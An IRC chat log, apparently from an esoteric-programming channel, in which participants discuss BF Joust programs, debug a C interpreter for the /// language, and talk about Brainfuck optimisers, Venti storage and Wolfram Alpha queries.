er 19:47:37 again! 19:47:38 Babyeater 19:47:39 [+>[-].+] 19:47:43 I already made a fake flag! 19:47:59 asiekierka: and how is a BF program meant to know it's set to 128? 19:48:14 16*8 :P 19:48:19 well, it may not be ready by then 19:48:25 besides, attack5 will go onto the next tape element if it sees something that looks like a flag and sets it to 0 19:48:35 but I mean, attack5 doesn't know it's a fake flag 19:48:36 >>++++++++++++++++[-<++++++++>>++++++++<]+[>+[-]+] 19:48:40 try this 19:48:41 and then 19:48:42 because it doesn't keep a count to see that it was 128 19:48:44 oh wait 19:48:46 no 19:48:59 >>++++++++++++++++[-<++++++++>>++++++++<]>[>+[-]+] 19:49:00 and then 19:49:20 [>+[-]+] 19:49:32 because i noticed i waste 1 cycle each time 19:51:37 so 19:51:41 is the result the same 19:52:13 The Tour Guide's voice became even more cheerful. "We will be carefully monitoring the entire tour. In the unlikely event that something really awful happens, such as a black hole appearing and sucking you all into a vortex beyond the reach of our equipment, we will refund your entire tour fee, no questions asked." 19:52:24 asiekierka: no, now both my programs win 19:52:36 in both cases? 19:52:43 that was running the second program there 19:52:46 oh 19:52:51 [>+[-]+..] 19:52:53 try this then 19:53:22 that by itself? or at the end of the program above? 19:53:52 by itself 19:53:55 just like the 2nd program 19:54:14 beats defend, loses to attack 19:54:16 both by flag fall 19:54:28 (defend's win above was you going off the right end of the tape from your point of view) 19:54:40 oh 19:54:47 Augh, I don't know how to beat attack 19:54:52 Out of ideas 19:54:56 maybe it's because it's nearly 9PM 19:55:09 and my lightbulbs are broken 19:55:12 so i have barely enough light 19:55:32 Augh, I want to make an OISC computer 19:55:34 as in, a real machine 19:55:37 with electronics 19:55:42 using a breadboard 19:59:10 -!- bsmntbombdood has joined. 20:05:39 -!- asiekierka has quit. 20:11:47 -!- upyr[emacs] has joined. 20:14:34 * ais523 finishes http://esolangs.org/wiki/BF_Joust 20:17:10 * oerjan watches his BCT interpreter successfully quit 20:17:35 now it just needs to do the right thing before doing so 20:17:45 haha 20:18:03 oh it also deletes bits correctly 20:18:18 just it's adding that's the problem? 20:18:25 and the quit is properly detecting that its out of bits 20:18:31 yep 20:18:34 are you writing a BCT interp in ///, or a BCT to /// compiler? 20:18:38 well, not a problem 20:18:48 a BCT interp in ///, essentially 20:19:03 just paste the program and data into the right spot 20:19:22 slow as molasses of course 20:19:44 *BCT program and data 20:23:19 eek size up to 40K 20:23:30 (runtime) 20:23:55 * oerjan is afraid of hitting that perl bug again, despite the redesign 20:24:25 what Perl bug? 20:24:51 well 5.8.8 which is here just crashes with Segmentation Fault 20:24:57 that's bad 20:25:09 but 5.10 on EgoBot gives a regex recursion limit exceeded 20:26:13 apparently trying to match more than ~ 32768 [^/\\]|\\. in a row doesn't work 20:26:34 or something close to that, anyway 20:26:47 int limit 20:26:48 :-D 20:27:07 and that's exactly what the main self-replication substitution in the program does if it gets too large 20:27:43 clearly a better interp is needed 20:27:53 ehird keeps promising one :D 20:28:03 my C interp has a skeleton 20:28:06 and my haskell interp works 20:28:08 it's just slow 20:28:10 but it always works 20:28:20 but, as I said, a lot slower than the perl one 20:28:31 since this program is slow as molasses already that doesn't sound too appetizing 20:28:41 Indeed. 20:28:48 I will work on my C interp now, I think. 20:28:53 Thanks for the inspiration. 20:29:26 The main problem is goddamn C string manipulation sucking. :-) 20:29:34 of course i _might_ get lucky and not hit the limit, but if it's 32768 copies of \\. then i might hit it at ~ 64K 20:29:52 why use strings? 20:30:01 arrays of char seem right here 20:30:08 of course that's what they are 20:30:13 oerjan: 20:30:14 typedef struct { 20:30:15 size_t length; 20:30:16 size_t allocated; 20:30:19 char *data; 20:30:21 } string_t; 20:30:23 Allocation information. 20:30:25 Otherwise I'd be using strlen() a lot. 20:30:35 yes 20:30:57 my point was really not to use C's string routines, only direct array manipulation 20:31:20 yes 20:31:20 i feel this should give an optimal /// interpreter 20:31:24 I'm pretty sure there's good string libraries out there you could use. 20:31:35 Of course, writing your own basically works. :p 20:31:55 The irritating thing is reallocation. To delete a char, I could do length--, data++ -- but then realloc will fail. 20:31:58 -!- BeholdMyGlory_ has joined. 20:32:02 So I need to keep a pointer to the base. But then I'm wasting memory. 20:32:04 Hmm. 20:32:30 ais523: any thoughts on how to basically say "hey malloc, move the start of this pointer +1" 20:32:35 i suppose it's not possible 20:32:35 ehird: did you see my /ab/bbaa/abb example btw? 20:32:41 oerjan: hm? 20:33:02 it's an infinite loop, but the source is _not_ a substring of the destination 20:33:12 ehird: no, there isn't a mirrored_realloc 20:33:12 that's ok, I don't rely on that 20:33:20 ais523: what should I do? 20:33:37 % ./slashes hello.sss 20:33:37 zsh: abort ./slashes hello.sss 20:33:39 we have bigger problems :-) 20:33:44 trampoline-style? 20:33:55 ais523: er, what? how is that helpful at all? 20:33:56 -!- BeholdMyGlory has quit (Nick collision from services.). 20:33:59 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 20:34:09 ehird: as in, you keep a base pointer for a while, wasting memory 20:34:17 when you've wasted too much, you just move everything in memory 20:34:17 wasting memory is the problem 20:34:20 well 20:34:23 i'll never waste too much 20:34:26 and free up that way 20:34:28 but it'll be really hoggy 20:34:32 sort-of like garbage collection, but not 20:35:13 oh, ha 20:35:17 the abort was me calling abort() 20:35:18 I'm stupid 20:35:39 it wouldn't be an abort otherwise, it'd be a segfault or something 20:35:44 right 20:35:53 it's only abort, assert, and manually raising a signal that gives you aborts 20:36:04 http://www97.wolframalpha.com/input/?i=a+million+bacon Facts about a million bacon. 20:36:55 ONE MILLION SLICE 20:37:06 ais523: setbuf(stdout, NULL); then doing a putchar doesn't make it appear :-( 20:37:10 I dun wanna fflush all the time 20:37:32 4 million calories D;* 20:37:46 what if you do a write on stdout's fd, rather than using stdio? 20:37:54 I'm not saying that's the best way 20:37:57 I'm just wondering if it works 20:38:13 ais523: heh, so write(0, &character, 1) 20:38:27 write(0, &program->data[0], 1); ← bit redundant &ing on an [0] but there you go 20:38:41 ais523: nope 20:38:47 [ehird:~/Code/scraps/2009-05/slashes] % ./slashes /dev/stdin 20:38:47 a 20:38:49 [ehird:~/Code/scraps/2009-05/slashes] % 20:38:53 ehird: setvbuf(stdout, NULL, _IONBF, 0); 20:38:55 I pressed a, enter, ^D 20:39:02 Deewiant: that's what setbuf(stdout, NULL) does 20:39:11 ehird: I think you want write(1, ...) if you want stdout. 20:39:16 fizzie: D'oh 20:39:16 And what are you doing that doesn't work 20:39:23 Deewiant: putchar(x) 20:39:31 or in this case 20:39:32 write(1, &program->data[0], 1); 20:39:48 ehird: Yeeeessssssss but what are you doing that makes you notice whether it's buffered or not 20:39:51 -!- MizardX has quit ("reboot"). 20:40:08 Deewiant: Printing a character without a newline. 20:40:10 It doth not appear. 20:40:28 it's probably something to do with the terminal application 20:40:29 putchar('c') followed by getchar() WFM 20:40:53 Deewiant: that's nice, I don't want to getcha 20:40:53 r 20:40:57 ais523: er, no... 20:41:00 ehird: Eeeeexactly 20:41:05 ehird: So what /do/ you want to do 20:41:08 ehird: That's what I was asking 20:41:23 Oh, so that's the bug 20:41:24 What are you doing after the print that makes you notice when it's been flushed or not 20:41:38 Deewiant: it's nothing to do with that, but I found the bug anyway 20:42:25 -!- BeholdMyGlory_ has joined. 20:42:40 -!- BeholdMyGlory has quit (Nick collision from services.). 20:42:46 -!- BeholdMyGlory_ has changed nick to BeholdMyGlory. 20:43:13 Solution: Don't use fstat on stdin. It does not know how big your input will be. :-) 20:43:25 haha 20:43:49 So I have to realloc. Grumble. 20:44:43 ehird: (1) build a linked list (2) move to an array afterwards, if you want 20:45:03 oerjan: Build a linked list? Yes, I'm going to give the C version the performance characteristics of the Haskell one. 20:45:04 Not :-) 20:45:19 ehird: not for _using_, just for initialising 20:45:35 well, sure, but it's easier just to realloc 20:45:36 that way you don't need to know the size until you have read all 20:48:21 Done. 20:49:50 % ./slashes hello-simple.sss 20:49:50 len 0 alloc 1024 20:49:51 hmm 20:50:01 length isn't increasing prop'ly 20:50:40 ok now we'll find out if i really need your interpreter :D 20:50:49 oerjan: wut 20:51:09 the program now contains all functional parts, modulo bugs 20:51:58 oerjan: Well, mine will be better because it's fast :-) 20:52:07 indeed 20:52:37 also this program is not optimal /// of course, due to only using /\ in the core parts 20:53:44 while ((read = fread(trail, 1024, 1, file))) { 20:53:44 result->length += read; 20:53:46 GOD DAMN IT 20:53:51 ais523: how would that leave length at 0? 20:53:55 assume a non-empty file 20:54:01 hagbart:oerjan:slashes> ./slashes.pl bct.sss 20:54:01 XSegmentation fault 20:54:06 oerjan: >:) 20:54:31 oerjan: hagbart is a funny name 20:55:06 i think it's some children's book character or similar 20:55:15 oh not your machine, i forgot 20:55:29 ais523: any idea? 20:55:31 well, also a norwegian name 20:55:40 ehird: what was length to start with? 20:55:46 ais523: 0 20:55:52 result->length = 0; 20:55:54 ehird: Print length before and after at every iteration, etc 20:56:12 Deewiant: that doesn't help me reason why it's broken, just fix it 20:56:21 a return value from fread less than its second argument implies that it didn't manage to read as much as requested, so either FRC or an error 20:56:29 umm... I mean EOF or an error 20:56:39 51262 bytes, that's less than 64K 20:56:39 nope 20:56:40 ehird: It helps you find where the problem is 20:56:40 neither 20:56:41 so if it's a non-empty file, it wasn't EOF, so it much be an error 20:56:45 it's not 20:56:46 I check ferror 20:56:47 *must be 20:57:00 ehird: in that case, there's something wrong in the information you're giving me 20:57:06 ooh, wait 20:57:11 what's the scoping of "read" 20:57:13 !slashes http://oerjan.nvg.org/esoteric/slashes/bct.sss 20:57:18 it's quite strange to give a variable the same name as a standard posix function 20:57:29 hmm good pointI 'll change that 20:57:31 presumably it timed out 20:57:36 I don't think that's causing the error, but I don't know 20:57:42 -!- M0ny has quit ("k thx bye :D"). 20:57:50 which may mean 5.10 did _not_ hit a recursion limit 20:58:04 ais523: http://pastie.org/481985.txt?key=kvtbyozt1yhfcjbbl5uttg 20:58:19 since that happens long before the runtime-heavy parts 20:58:25 i should check that 21:00:41 ais523: so, yeah. 21:02:12 ehird: xmalloc is just a wrapper around malloc? 21:02:20 ais523: yes, the very trivial kind 21:02:23 just checks its return value 21:02:25 ditto for realloc 21:04:09 huh 21:04:26 apparently removing all debug statements was enough to make perl not crash 21:04:30 ais523: any theories? 21:04:51 unfortunately the /// program is buggy, so i guess i'll have to carefully readd some :D 21:06:31 ehird: no 21:06:47 ais523: quantum fluctuations? 21:08:04 does the same bug repeat if you run again/ 21:08:08 you might have forgotten to compile 21:08:27 yes :-P 21:09:50 lifthrasiir, found a number of bugs using careful coverage analysis 21:09:55 while ((bytes_read = fread(trail, 1024, 1, file))) { 21:09:56 printf("HI MOM\n"); 21:09:57 ais523: never written 21:10:05 Very curious. 21:10:19 fread's returning 0 the first time, obviously 21:10:26 Well, yes. 21:10:29 But it shouldn't. 21:10:41 I was wondering if you'd set bytes_read to unsigned char by mistake, but you didn't 21:10:49 * ais523 made that mistake once in similar code... 21:10:54 heh 21:11:06 ais523, wouldn't gcc warn about that? 21:11:19 if not, it should 21:11:51 I remember ICC warning "significant bits may be lost" 21:12:13 ah hm, it seems -Wconversion does this in recent gccs (while it does something totally different in older ones) 21:12:42 -!- kar8nga has quit (Remote closed the connection). 21:14:18 ais523: no ideas whatsoever? 21:14:33 no, I'm doing something else 21:14:40 aha 21:14:44 They return the 21:14:44 number of objects read or written 21:14:47 so it'll return 1 each time 21:15:02 Works now 21:15:04 while ((bytes_read = fread(trail, 1, 1024, file))) { 21:17:00 Why coverage analysis is useful: Without it I wouldn't have ended up writing a test program like: +>+<[>]>+[[-].>.+.<.+.]>>>>>>>>>>>>+<+[>]+[++.>++<,]>>>>>>>>>>>>>+<+[>]>,<+[,[-]>[-<+>]<]>>>>>>>>>>>>+<+[>]>,<+[,[-]>[-<+>]>++<<++]>>>>>>>>>>>>. And no real code would have triggered the bug either. 21:17:04 ~ 21:17:19 ais523: your trampoline style thing might work well— otherwise I have to realloc all the time. 21:17:28 oerjan: I'm going to optimize for speed first, then memory usage, sound good? 21:17:52 ehird, what are you doing 21:18:07 sure 21:18:54 -!- tombom_ has joined. 21:18:59 AnMaster: is that a minimal BF program that triggers all your code paths? 21:19:03 i'm only using about 50K maximal program length, so... 21:19:29 ais523, um, in the index difference analyser 21:19:42 the part that tells me if the loop always goes -1 every iteration or whatever 21:19:46 or sets a constant 21:19:55 and it doesn't trigger all. There is one variant left. 21:20:08 * AnMaster is trying to work out how to trigger it 21:20:19 hm maybe 50% more than that, at one point 21:21:17 ais523, I aim at 100% coverage analysis. (Or 99.9% or so, since obviously the bits that says "throw({internal_error,...})" should be unreachable!) 21:21:28 -!- Hiato has quit ("Leaving."). 21:21:35 AnMaster: you should have 100% coverage with NDEBUG defined 21:21:44 also, "throw"? 21:21:45 ais523, there is no NDEBUG for erlang 21:21:46 are you using C++? 21:21:48 ah 21:21:55 and there should be 21:22:13 ais523, um. I do have a ?TRACE() macro in some files. 21:22:19 something I will need soon. 21:22:39 anyway I have a list of bugs found, but first to make sure to get as much coverage in other modules too. 21:22:45 the purpose of NDEBUG is to check whether your debug code affects program flow 21:22:45 and also found a few unreachable lines. 21:22:48 by running both with and without it 21:23:13 ais523, all those internal error throws are meant to be in the live code 21:23:20 ah 21:23:28 well, you can leave NDEBUG off for the release version 21:23:31 and just turn it on for debugging 21:23:34 they will trigger whenever I add a new opcode and forgot to add handling of it in some module. 21:24:41 ais523, that will still throw exceptions then, just different, more unreadable, ones. Stuff like: "{'EXIT',{{case_clause,{ok,{set_from,1,0}}}, [{ib_opt_value_prop,optimise,3},...]}} 21:24:54 well, it's just for coverage testing 21:25:20 btw, when running that in the REPL it formats it as: 21:25:22 ** exception error: no case clause matching {ok,{set_from,1,0}} 21:25:22 in function ib_opt_value_prop:optimise/3 21:25:24 [...] 21:25:31 (where I cut out a backtrace) 21:25:42 (in both examples) 21:26:09 ais523, problem is it doesn't tell me what exact case clause, or even what function clause of ib_opt_value_prop:optimise/3 21:26:15 which have quite a few entry points 21:26:26 (need to enable debugger mode to get that) 21:29:09 -!- MizardX has joined. 21:34:48 -!- tombom has quit (Success). 21:34:49 -!- tombom_ has changed nick to tombom. 21:54:50 !slashes http://oerjan.nvg.org/esoteric/slashes/bct.sss 21:55:06 !show slashes 21:55:06 perl #!/usr/bin/perl -w 21:55:12 Xbhp/ca/e 21:55:16 ah... 21:56:09 did EgoBot stop using DCC CHAT? 21:56:14 GregorR: ^ 21:56:55 ok. Fixed those two bugs 21:56:57 sssssssssss 21:57:05 -!- Sgeo has joined. 21:57:07 oerjan: is that correct output? 21:57:18 that just looks like ASCII line noise, rather than Perl 21:57:28 !help show 21:57:28 show: !show . Shows the definition of a user interpreter. 21:57:32 ais523: so to speak. it's the line _after_ that which goes haywire here 21:57:40 um that's not the perl 21:57:47 it's the /// output 21:57:50 ok 21:57:52 copy propagation is hard. Much harder than constant propagation 21:57:54 so why the perl line? 21:57:56 IMO 21:58:05 because i also did !show slashes 21:58:08 AnMaster: use a trail array? 21:58:11 !show slashes 21:58:11 perl (sending via DCC) 21:58:13 to check that the interpreter was there 21:58:16 oh, ok 21:58:22 ais523, I don't know what that is. Please tell me 21:58:22 huh 21:58:28 and it DCCed just fine 21:58:30 why didn't it send DCC to me? 21:58:34 AnMaster: read up on how Prolog is implemented 21:58:51 ais523, um, any good resource for that. 21:58:56 maybe it was too hard at work with the /// 21:58:57 ais523, online 21:59:02 !show slashes 21:59:02 perl (sending via DCC) 21:59:19 !slashes http://oerjan.nvg.org/esoteric/slashes/bct.sss 21:59:21 ais523, if possible assuming no prior knowledge of prolog ;P 21:59:26 but I realise that could be hard 21:59:40 AnMaster: I don't know of any good Prolog resources online 21:59:40 Xbhp/ca/e 21:59:46 I learnt from hardcopy books 22:00:05 AnMaster: do you know how Forte is implemented? 22:00:09 that uses a trail array too 22:00:09 ais523, anyway what I do currently is keep a reverse mapping of copies from a offset, then when that offset changes I remove the relevant "known copies" in the forward mapping 22:00:16 well, trail hash 22:01:36 ais523, forward: dict(key=Offset, value={const | copy_from | set_from, Offset}) reverse: dict(key=Offset, value=set(OffsetsReferencingMe)) 22:01:39 is what I do basically 22:01:49 if you see what I mean 22:01:53 brb 22:03:35 back 22:03:49 ais523, and no I don't know how Forte is implemented. 22:04:03 AnMaster: it's basically a hash of mappings between pointers 22:04:10 ais523, same idea as mine? 22:04:15 or different? 22:04:41 much the same, i think 22:04:43 *I think 22:04:53 and that is messy. :/ 22:05:55 anyway, next step: Figuring out finite and infinite loops. 22:06:39 20:57 ais523: that just looks like ASCII line noise, rather than Perl 22:06:42 In some cases it is trivial. Like the infinite loops: [] [>+<] and the finite loop: [+>++<] 22:06:42 don't troll AnMaster :) 22:06:54 AnMaster: wahey halting problem 22:07:01 ehird, of course, in the general case 22:07:01 * oerjan finds bug 22:07:11 21:19 oerjan: i'm only using about 50K maximal program length, so... 22:07:13 right, but 22:07:18 what about running, say 22:07:21 ehird, but there are some more cases that can be figured out: +[++] is infinite assuming 8 bit cells 22:07:23 an infinite loop that never grows in length, appends and deletes 22:07:28 that'll use more storage forever and ever 22:07:29 and that is what I'm wondering how to figure out 22:07:44 ehird: huh? 22:07:50 * AnMaster agrees with oerjan 22:07:55 you mean if you do your memory very lousily 22:07:59 i'm talking about slashes, AnMaster 22:08:02 ah 22:08:19 20:57 ais523: that just looks like ASCII line noise, rather than Perl don't troll AnMaster :) 22:08:19 oerjan: if I don't slowly realloc all the time, yes, the memory usage will never shrink 22:08:22 ehird, IDGI 22:08:26 1) I didn't say it 22:08:33 AnMaster: "Don't troll AnMaster" != "Don't troll, AnMaster" 22:08:53 ehird, what is the offset from UTC 22:09:10 0, unless it's BST now 22:09:15 oh wait 22:09:19 it's from my bouncer 22:09:22 which has been reporting times wrong lately 22:09:28 21:04 AnMaster: and that is messy. :/ 22:09:28 22:04 End of quicklog. 22:09:31 i guess it's BST in britain atm 22:09:34 so the bouncer is gmt 22:09:37 or rather, utc 22:09:41 offset by two hours from here 22:09:45 so the bouncer is UTC 22:09:46 ais523: is it BST? 22:10:02 ehird, check in your own terminal with date -u 22:10:06 :P 22:10:10 (that gives it in UTC) 22:10:16 AnMaster: it's 21:10 UTC 22:10:20 yep 22:10:21 it's BST now 22:10:23 says date(1) 22:10:27 yeah 22:10:30 I wonder if the clocks have been set. 22:10:43 ehird: it is BST, yes 22:10:46 how did you not notice? 22:10:49 ehird, since several weeks iirc 22:10:49 ais523: when did that happen? 22:10:55 ehird: quite a while ago 22:10:58 and, well, I don't really notice these things 22:11:02 it's may now, IIRC it happens some time in March 22:11:03 since my computer and phone both automatically adjust 22:11:06 oh, march? 22:11:09 then I probably noticed it 22:11:12 but have forgotten by now 22:11:21 ^_^ 22:11:57 ais523, anyway know any good way to figure out when you have a loop like: [-]+[++] that the second one will never hit 0 22:12:12 AnMaster: just bruteforce it for 8 bit values 22:12:20 AnMaster: that is 22:12:22 start with 1 22:12:23 and run it 22:12:26 ehird, for all possible 8 bit offsets, for all possible starting values 22:12:31 -!- Judofyr has quit (Remote closed the connection). 22:12:31 if you repeat a state — which you will — 22:12:37 then voila, it runs forever 22:12:41 what about: ++[---] and ++++[----] 22:12:45 same thing 22:12:53 ehird, there must be a better solution 22:13:00 ehird's idea would work, I suspect there's a more efficient way but can't be bothered to work out the details right now 22:13:07 hm 22:13:12 * AnMaster looks at esotope-bfc 22:13:13 AnMaster: mine's the standard way to figure out an infinite loop if you have finite states 22:13:13 it would involve checking each of the individual powers of 2, I think 22:13:21 you can do it more efficiently, 22:13:26 but mine will catch all the cases, pretty much 22:13:31 * AnMaster waits for it to load 22:13:47 it's how you check the haltingosity of a sub-TM program on a TM 22:13:48 it is timing out 22:13:49 :( 22:13:52 lifthrasiir, ! 22:13:53 store all states, if you repeat, infinite loop. 22:14:07 is it just me or is http://hg.mearie.org/esotope/bfc/ unreachable 22:14:16 it's unreachable. 22:14:20 damn 22:14:35 ehird, got a local copy of the source? 22:14:42 can up upload it if so 22:14:46 pastebin or whatever 22:14:54 I deleted ~/Downloads/bfc/; you are welcome to point me to an HFS+ file recovery tool. 22:15:06 damn you :P 22:15:12 ehird: dd 22:15:25 ais523: er... how does that help? 22:15:30 I could grep /dev/sda 22:15:31 well, even just grep will do if you can remember a line from the file 22:15:33 grep /dev/[sh]d* 22:15:33 but that'd take forever 22:15:35 -!- Judofyr has joined. 22:15:45 there are tools for e.g. ext3 that do it faster somehow 22:16:27 I remember seeing some better way in it using GCD... 22:17:05 -!- FireFly has quit ("Later"). 22:17:19 I'd start doing regular backups with my new machine, but packing up 160GB+2TB isn't easy 22:17:25 because you have to purchase an awful lot of storage... 22:17:28 *backing 22:17:40 OR, use something like tarsnap, and pay something like $700 (iirc) a month to store it all 22:17:51 as a bonus, the transmission time for the backup is 22:17:54 Idea: Single Assignment FS. 22:17:55 Discuss. 22:17:58 AnMaster: fossil 22:18:01 or was it venti? 22:18:06 ehird, it exists? 22:18:07 those are the two components of plan9's fs 22:18:22 AnMaster: yes; you store(foo) where foo is of limited length and it gives an sha-1 hash 22:18:25 and you can do retrieve(hash) 22:18:36 sha-1 is not advisable nowadays, but when it was safe: 22:18:44 - people who don't know the hash can't get the file — so secure 22:18:54 - you can verify whether the returned block is correct w/ the hash — so unforgeable 22:19:04 - it guarantees uniqueness (not any more, though) 22:19:21 Venti is a network storage system that permanently stores data blocks. A 160-bit SHA-1 hash of the data (called score by Venti) acts as the address of the data. This enforces a write-once policy since no other data block can be found with the same address. The addresses of multiple writes of the same data are identical, so duplicate data is easily identified and the data block is stored only once. Data blocks cannot be removed, making it ideal for perman 22:19:23 ent or backup storage. Venti is typically used with Fossil to provide a file system with permanent snapshots. 22:19:26 AnMaster: http://en.wikipedia.org/wiki/Venti 22:19:28 since 2002 22:19:31 cp /var/tmp/kdecache-arvid/http/h/hg* . 22:19:32 yay! 22:19:43 * AnMaster reads the source from the cache 22:21:34 oerjan: idea for the memory: 22:21:42 oerjan: store a string as a linked list of 10KB blocks 22:21:48 normally, it's just an increment-pointer affair 22:21:56 but deleting over a node boundary frees the previous node 22:22:05 so, the constant-infinite-loop would grow to 10KB, then reset 22:22:06 forever 22:22:18 should be reasonably fast 22:22:31 http://pastebin.com/d5d8dbf85 22:22:33 ehird, ais523 ^ 22:23:03 http://pastebin.com/f566b8406 permanent :P 22:23:07 AnMaster: have you saved the whole esotope-bfc? 22:23:14 or just that bit? 22:23:17 ais523, I think it will be up tomorrow 22:23:27 ais523, and all that was in cache from the hg web thing 22:23:31 AnMaster: so are you ripping off esotope-bfc's algorithms wholesale like you did with ccbi? 22:23:39 have you saved it anyway, just in case lifthrasiir's had a catastrophic hardware failure or something? 22:23:44 ehird, no I'm not. I'm trying to figure out the right way 22:23:55 ais523, I never checked it out before 22:24:17 -!- FireFly has joined. 22:24:27 I'll probably do it when it is back up 22:25:23 ehird, and I already have better optimisation than esotope-bfc for a few specific things. 22:25:37 it beats me in general by having better loop unrolling though 22:25:42 -!- GregorR-L has joined. 22:25:51 while I have better copy propagation 22:26:38 oerjan: sound good? 22:26:42 -!- tombom has quit ("Peace and Protection 4.22.2"). 22:29:04 -!- BeholdMyGlory has quit (Remote closed the connection). 22:30:33 ais523: there's a whole subreddit devoted to wolfram alpha inputs 22:30:45 i predict a meme 22:30:47 haha 22:31:12 -!- lifthrasiir has quit (Read error: 110 (Connection timed out)). 22:31:22 nice 22:31:31 http://www.reddit.com/r/AlphaInputs/ 22:31:42 yep 22:31:51 ehird: yeah 22:31:59 oerjan: rightyho 22:32:13 haha, I love the SHA-1 thing 22:32:18 which? 22:32:23 http://www14.wolframalpha.com/input/?i=SHA1+%22Wolfram+Alpha%22 22:32:28 the answer to 'SHA-1 "Wolfram Alpha"' looks plausible 22:32:30 but changes when you refresh 22:32:56 that's because it interprets it as SHA | 1 "Wolfram Alpha"; what that means I have no idea 22:33:04 Eh? It doesn't change for me 22:33:14 "v" 22:33:15 "I wonder if, instead of hashing your query, it's hashing the string representation of an object it creates to represent your query. " 22:33:16 —reddit 22:33:19 Deewiant: refresh more 22:33:41 I've refreshed over ten times and it hasn't changed 22:33:50 oerjan: as a bonus, I don't have to track allocation amount 22:33:53 oerjan: it's always 10KB 22:34:07 what about if you reclick on that = button? 22:34:22 /* split into 10KB chunks */ 22:34:22 typedef struct _string { 22:34:23 size_t length; 22:34:25 char *data; 22:34:27 char *base; 22:34:29 struct _string *next; 22:34:31 } string_t; 22:34:34 http://www10.wolframalpha.com/input/?i=where+am+I ← pretty good 22:34:38 it even tells you your ipv6 addr 22:34:44 although not your ipv4 address 22:34:48 and I don't HAVE an ipv6 addr 22:34:57 i don't know what it gives me 22:35:02 it's just the IPv4 one converted to IPv6 syntax 22:35:05 nope 22:35:06 It looks like an IPv4 address in IPv6 form 22:35:19 ais523: that's 0::ff::3.4.234.23 or something 22:35:20 the prefix means "this is actually an IPv4 address" 22:35:32 ::ffff:: 22:35:32 oh, is it adding the digits? 22:35:34 Er, bits 22:35:40 ais523, since you seemed so interested: http://omploader.org/vMXA2Mw is the recovered cache as a .tar.lzma 22:36:14 ais523, internal links won't work mostly 22:36:14 there's about a 99% chance that that's irrelevant, and a 1% chance that this will cause something esoterically significant to not be lost forever 22:36:40 is it so significant? 22:36:44 anmaster's rewritten most of it already 22:36:53 ais523, I'd say 99.999999% and 0.000001% 22:37:05 ehird, really? 22:37:06 AnMaster: not that many 9s 22:37:14 would you say that at least 6000 people in the world will die today? 22:37:18 ehird, I didn't look at it's code until recently 22:37:18 AnMaster: sure 22:37:24 but you have most the same optimizations 22:37:26 when I was trying to figure out the infinite loop issue 22:37:30 AnMaster: *its 22:37:46 ehird, also the method it is done in is very different 22:37:56 it seems to work by simplifying blocks 22:38:19 while mine is "sort and peephole" + a few long stretching ones (constant/copy propagation) 22:38:48 it has a better design 22:38:50 probably 22:40:45 http://www35.wolframalpha.com/input/?i=compare+male+to+female 22:41:30 plus mine is slow as . It takes ~half a minute to process lostking 22:42:01 "To see full output you need to enable Javascript in your browser" Hm... That should read "To see any output ..." 22:43:38 Deewiant, "compare male to male" -> male population | 3.372 billion people (total) 22:43:50 AnMaster: half a minute on lostkng is not slow! 22:43:56 unless that's the output program, not the interp 22:44:13 ais523, s/interp/compi/ 22:44:27 well, yes 22:44:29 impl 22:44:30 ais523, and yes it is the compiler. 22:44:47 ais523, be consistent! reter 22:44:58 :P 22:45:37 wait, misread "impl" as "iler" 22:45:46 like you were adding to the end of compi 22:46:05 (and I thought the extra i was a typo) 22:46:07 anyway. 22:46:22 ais523, I don't do balanced loop -> polynom in that 22:46:37 it is the major part still left to implement 22:46:44 polynomisation 22:47:37 ais523: do you think compilers will handle "char foo[1048576]"? 22:47:50 Define "compilers" 22:47:53 most will 22:47:55 c compilers 22:47:59 but 16-bit DOS compilers are unlikely too 22:47:59 DMC won't 22:48:03 why not 22:48:03 without proprietary extensions 22:48:06 *to 22:48:08 @Deewiant 22:48:14 http://www35.wolframalpha.com/input/?i=Wolfram <-- aren't there other people with the same name who are more well known. Like whoever the element Wolfram was named after... 22:48:14 It limits to 16*1024 IIRC 22:48:24 Something like that, anyway 22:48:27 AnMaster: W|A is wolfram world. 22:48:33 he is the most important person in it. 22:48:44 ehird, yeah I'm just disagreeing 22:48:52 Deewiant: how retarded 22:48:56 AnMaster: It gives you tungsten as an alternative 22:49:09 AnMaster: as ehird said, nanoDijkstras are too small a unit 22:49:14 Deewiant, ? 22:49:22 AnMaster: "use as a chemical element" 22:49:24 AnMaster: as ehird said, nanoDijkstras are too small a unit <-- what, where 22:49:26 ais523: it's milliDijkstras that are typically used 22:49:31 AnMaster: Wolfram isn't named after a person called wolfram 22:49:33 but even those are too small 22:49:36 -!- FireFly has quit ("Later"). 22:49:36 yes 22:49:36 Deewiant, hm ok. 22:49:38 Dijkstra seems terribly humble in comparison 22:49:39 It's named after the mineral called wolframite 22:49:45 is that named after a person? 22:49:47 Deewiant, ah, and what is that named after. 22:49:56 I postulate that Wolfram's ego is double digits of Dijkstras. 22:50:03 and growing constantly 22:50:04 Apparently it comes from "Wolf Rahm" 22:50:12 "wolf soot" or so 22:50:19 (German, not a name) 22:50:29 so Wolfram is called Wolf soot? 22:50:31 I can live with that 22:50:47 The IPv6-mapped IPv4-address is that 0:0:0:0:0:ffff:<32 bits of IPv4>; Alpha seems to be giving it in the normal IPv6 address form, that "::ffff:a.b.c.d" easier-for-humans notation would mean the same thing. 22:51:43 "Tungsten", in turn, comes from "tung sten" meaning "heavy stone" in Swedish and related languages 22:51:56 hm http://pastebin.ca/1426890 22:51:59 ehird, ^ 22:52:21 what 22:52:30 _gcdex 22:52:34 what a strange name 22:52:39 gcd-ex 22:52:41 gcd-extended 22:52:46 _foo = don't touch this in python 22:52:47 yeah... extended how the hell 22:53:06 ehird, "don't touch this"? So how comes he has lots of functions named that way 22:53:23 AnMaster: extended in that it returns 3 values 22:53:30 and because they're private-esque 22:53:34 How does "don't touch these" imply "there are few of these" 22:53:36 "don't call this from outside this class and subclasses" 22:53:42 Deewiant: i don't even know 22:53:44 Deewiant, ah not "implementation don't touch" 22:53:47 That'd be "protected-esque" 22:53:58 as in... "reserved by compiler" 22:54:00 or such 22:54:07 -!- Judofyr has quit (Remote closed the connection). 22:54:10 That's __foo__ in Python, AFAIK. 22:54:20 ah, he has lots of them too. But normal names 22:54:25 You're allowed to represent the last 32 bits with dotted-decimal if you want in any address, so I could write one of mine (2001:1bc8:102:587b:21d:7dff:fee4:a593) in an obfuscated form "2001:1bc8:102:587b:21d:7dff:254.228.165.147".. though given how ugly the addresses are in the normal form, maybe that doesn't buy much. 22:54:30 6 def __nonzero__(self): return True 22:54:38 stuff like that 22:54:40 AnMaster: those are compiler internal. 22:54:42 well, no. 22:54:42 not really. 22:54:44 AnMaster: it's like 22:54:47 def __eq__(self,other): 22:54:47 then 